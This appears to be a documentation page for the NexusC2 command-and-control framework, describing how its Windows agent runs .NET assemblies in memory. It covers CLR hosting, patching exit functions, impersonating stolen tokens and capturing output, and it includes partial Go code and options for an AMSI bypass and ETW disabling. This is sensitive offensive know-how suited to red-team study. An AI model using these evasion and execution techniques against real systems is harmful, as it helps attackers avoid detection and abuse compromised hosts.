.NET Assembly Execution

Run .NET assemblies in-memory without touching disk.

Overview

NexusC2 supports in-memory execution of .NET assemblies (EXE and DLL) directly within the agent process. This capability allows running .NET tools like Rubeus, Seatbelt, SharpHound, and custom tooling without dropping files to disk.

Key Features:

  • In-memory CLR hosting and assembly loading
  • Support for .NET Framework 2.0/4.0+ assemblies
  • Synchronous and asynchronous execution modes
  • Exit prevention to protect agent stability
  • Output capture via file redirection
  • Token impersonation support

Platform: Windows only


Architecture

flowchart TB
    subgraph Client["GUI Client"]
        SELECT[Select Assembly + Arguments]
    end

    subgraph Server["NexusC2 Server"]
        WS[WebSocket Service
Base64 encode, package JSON] RECV[Receive Output] end subgraph Agent["Windows Agent"] EXIT[Initialize exit prevention] TOKEN[Apply token context] COM[Initialize COM] CAPTURE[Setup output capture] CLR[Load CLR runtime
v2 or v4] EXEC[Execute entry point] OUTPUT[Capture stdout/stderr] end SELECT --> WS WS -->|Queue command| EXIT EXIT --> TOKEN --> COM --> CAPTURE --> CLR --> EXEC --> OUTPUT OUTPUT -->|POST results| RECV RECV -->|Display| Client

CLR Loading

Runtime Selection

The agent automatically detects the required .NET runtime version:

RuntimeDetectionUsage
v4.xDefaultMost modern .NET assemblies
v2.0.50727Contains “v2.0.50727” stringLegacy .NET 2.0/3.5 assemblies

CLR Hosting

The agent uses the go-buena-clr library for CLR hosting:

import clr "github.com/almounah/go-buena-clr"

// Execute assembly in-memory
retCode, err := clr.ExecuteByteArray(targetRuntime, assemblyBytes, arguments)

COM Initialization

COM must be initialized before CLR operations:

hr, _, _ := coInitializeEx.Call(0, COINIT_MULTITHREADED)
if hr == 0 {
    defer coUninitialize.Call()
}

Exit Prevention

Overview

.NET assemblies may call Environment.Exit() or similar methods which would terminate the agent process. The exit prevention system patches these methods to prevent process termination.

Patched Methods

MethodLibraryPurpose
Environment.Exitmscorlib/clr.dllPrimary .NET exit method
Application.ExitSystem.Windows.FormsWinForms application exit
Process.KillmscorlibProcess termination
ExitProcesskernel32.dllNative process exit
TerminateProcesskernel32.dllNative process termination

Patching Technique

Based on MDSec’s CLR exit prevention technique:

// Save original bytes
original := make([]byte, 5)
for i := 0; i < 5; i++ {
    original[i] = *(*byte)(unsafe.Pointer(addr + uintptr(i)))
}

// Change memory protection
virtualProtect.Call(addr, 5, PAGE_EXECUTE_READWRITE, ...)

// Patch with RET instruction
*(*byte)(unsafe.Pointer(addr)) = 0xC3  // RET

// Restore protection
virtualProtect.Call(addr, 5, oldProtect, ...)

TerminateProcess Patch

For TerminateProcess, a more complex patch returns success without terminating:

; x64 version
XOR RAX, RAX   ; 48 31 C0
INC RAX        ; 48 FF C0  (return 1/TRUE)
RET            ; C3

; x86 version
XOR EAX, EAX   ; 31 C0
INC EAX        ; 40  (return 1/TRUE)
RET            ; C3

Output Capture

Strategy: File Redirection

The most stable output capture method uses temporary file redirection:

func executeWithFileCapture(assemblyBytes []byte, arguments []string) (string, int, error) {
    // Create temp file
    outputFile := filepath.Join(os.TempDir(), "clr_output_"+timestamp+".txt")

    // Create file handle
    fileHandle, _, _ := createFileW.Call(
        outputPath,
        GENERIC_WRITE|GENERIC_READ,
        FILE_SHARE_READ|FILE_SHARE_WRITE,
        0,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        0,
    )

    // Save and redirect handles
    origStdout, _, _ := getStdHandle.Call(STD_OUTPUT_HANDLE)
    origStderr, _, _ := getStdHandle.Call(STD_ERROR_HANDLE)
    setStdHandle.Call(STD_OUTPUT_HANDLE, fileHandle)
    setStdHandle.Call(STD_ERROR_HANDLE, fileHandle)

    // Execute assembly
    retCode, err := clr.ExecuteByteArray(targetRuntime, assemblyBytes, arguments)

    // Restore handles
    setStdHandle.Call(STD_OUTPUT_HANDLE, origStdout)
    setStdHandle.Call(STD_ERROR_HANDLE, origStderr)

    // Read captured output
    output, _ := os.ReadFile(outputFile)
    return string(output), retCode, err
}

Strategy: Pipe Capture

Alternatively, output can be captured via anonymous pipes:

func executeWithSyncCapture(assemblyBytes []byte, arguments []string) (string, int, error) {
    // Create pipe with large buffer
    var readPipe, writePipe syscall.Handle
    syscall.CreatePipe(&readPipe, &writePipe, nil, 1024*1024)

    // Redirect stdout/stderr to write pipe
    setStdHandle.Call(STD_OUTPUT_HANDLE, uintptr(writePipe))
    setStdHandle.Call(STD_ERROR_HANDLE, uintptr(writePipe))

    // Also redirect CRT file descriptors
    fd, _, _ := openOsfhandle.Call(uintptr(writePipe), 0x8000)
    dup2.Call(fd, 1)  // stdout
    dup2.Call(fd, 2)  // stderr

    // Execute assembly
    retCode, err := clr.ExecuteByteArray(targetRuntime, assemblyBytes, arguments)

    // Close write end and read all output
    syscall.CloseHandle(writePipe)
    // ... read from readPipe ...
}

Token Context

Impersonation Support

Assemblies can execute under impersonated token contexts:

Token TypeBehavior
No impersonationRuns as agent process identity
Regular impersonationUses active stolen/created token
Network-only tokenUses token for network operations

Token Application

func applyTokenContextForInlineAssembly() func() {
    if globalTokenStore.NetOnlyHandle != 0 {
        // Apply network-only token
        ImpersonateLoggedOnUser(globalTokenStore.NetOnlyHandle)
        return func() { RevertToSelf() }
    } else if globalTokenStore.IsImpersonating {
        // Apply regular token
        ImpersonateLoggedOnUser(globalTokenStore.Tokens[activeToken])
        return func() { RevertToSelf() }
    }
    return func() {} // No-op
}

Note: Token context is applied BEFORE COM initialization to ensure the CLR runs under the correct identity.


Command Configuration

JSON Format

{
  "assembly_b64": "<base64 encoded assembly>",
  "arguments": ["arg1", "arg2"],
  "app_domain": "CustomDomain",
  "bypass_amsi": true,
  "bypass_etw": false,
  "revert_etw": false,
  "entry_point": "Main",
  "use_pipe": false,
  "pipe_name": ""
}

Configuration Options

OptionDescription
assembly_b64Base64-encoded assembly bytes
argumentsCommand-line arguments array
app_domainCustom AppDomain name (optional)
bypass_amsiPatch AMSI before execution
bypass_etwDisable ETW tracing
revert_etwRestore ETW after execution
entry_pointCustom entry point method
use_pipeUse named pipe for output
pipe_nameNamed pipe name

Synchronous Execution

Command Type

{
  "command_type": 18,
  "command": "inline-assembly",
  "data": "<JSON configuration>"
}

Execution Flow

  1. Parse JSON configuration
  2. Base64 decode assembly bytes
  3. Detect assembly type (EXE vs DLL)
  4. Initialize exit prevention (once)
  5. Apply AMSI bypass if requested
  6. Apply token context
  7. Initialize COM
  8. Setup output capture
  9. Load and execute assembly
  10. Capture exit code
  11. Read captured output
  12. Restore handles
  13. Return result

Asynchronous Execution

Command Type

{
  "command_type": 19,
  "command": "inline-assembly-async",
  "data": "<JSON configuration>"
}

Job Management

Async assemblies run as tracked jobs:

type AssemblyJob struct {
    ID          string
    CommandID   string
    CommandDBID int
    AgentID     string
    Name        string
    Status      string  // running, completed, failed, killed
    StartTime   time.Time
    EndTime     *time.Time
    Output      strings.Builder
    Error       error
    CancelChan  chan bool
}

Job Status Values

StatusDescription
runningAssembly is executing
completedFinished successfully
failedExecution error occurred
killedManually terminated

Job Commands

CommandDescription
inline-assembly-jobsList all assembly jobs
inline-assembly-output <id>Get job output
inline-assembly-kill <id>Kill running job

Assembly Detection

EXE vs DLL Detection

The agent checks PE headers to determine assembly type:

func (c *InlineAssemblyCommand) isDLLAssembly(assemblyBytes []byte) bool {
    // Check for MZ header
    if assemblyBytes[0] != 'M' || assemblyBytes[1] != 'Z' {
        return false
    }

    // Get PE header offset from 0x3C
    peOffset := int32(assemblyBytes[0x3C]) | ...

    // Check IMAGE_FILE_DLL flag (0x2000) in Characteristics
    characteristics := uint16(assemblyBytes[peOffset+0x16]) | ...
    return (characteristics & 0x2000) != 0
}

Thread Safety

OS Thread Locking

Assembly execution requires thread locking for COM and CLR:

runtime.LockOSThread()
defer runtime.UnlockOSThread()

Execution Mutex

Synchronous executions are serialized:

var clrExecutionMutex sync.Mutex

func (c *InlineAssemblyCommand) Execute(...) {
    clrExecutionMutex.Lock()
    clrExecutionCount++
    clrExecutionMutex.Unlock()
    // ...
}

Error Handling

Error Codes

CodeDescription
E42Windows-only feature
E43No assembly data provided
E44Invalid JSON configuration
E45Base64 decode failed
E46Assembly execution failed
E52Assembly crashed/panic

Panic Recovery

Async execution includes panic recovery:

defer func() {
    if r := recover(); r != nil {
        job.Status = "failed"
        job.Error = fmt.Errorf("Assembly crashed: %v", r)
        // Send crash result
    }
}()

AMSI Bypass

Overview

When bypass_amsi is enabled, the agent patches the AmsiScanBuffer function:

func patchAMSI() {
    // Load amsi.dll
    // Find AmsiScanBuffer
    // Patch first bytes with return AMSI_RESULT_CLEAN
}

This prevents AMSI from scanning loaded assemblies.


Limitations

LimitationDescription
PlatformWindows only
CLR StateMultiple executions may corrupt CLR state
Output CaptureSome assemblies may bypass capture
Exit PreventionNot 100% reliable for all exit methods
MemoryCLR remains loaded after first use
ConcurrencySynchronous execution is serialized

CLR State Warning

Running multiple .NET assemblies may cause CLR state corruption. If assemblies fail unexpectedly:

  1. The CLR may have corrupted global state
  2. Consider restarting the agent
  3. Use async execution for long-running tools

ComponentFile Path
Core Implementationserver/docker/payloads/Windows/inline_assembly.go
Windows Platformserver/docker/payloads/Windows/action_inline_assembly.go
Async Executionserver/docker/payloads/Windows/action_inline_assembly_async.go
Job Managementserver/docker/payloads/Windows/action_inline_assembly_async_jobs.go
Exit Preventionserver/docker/payloads/Windows/clr_exit_prevention.go
to navigate to select ESC to close
Powered by Pagefind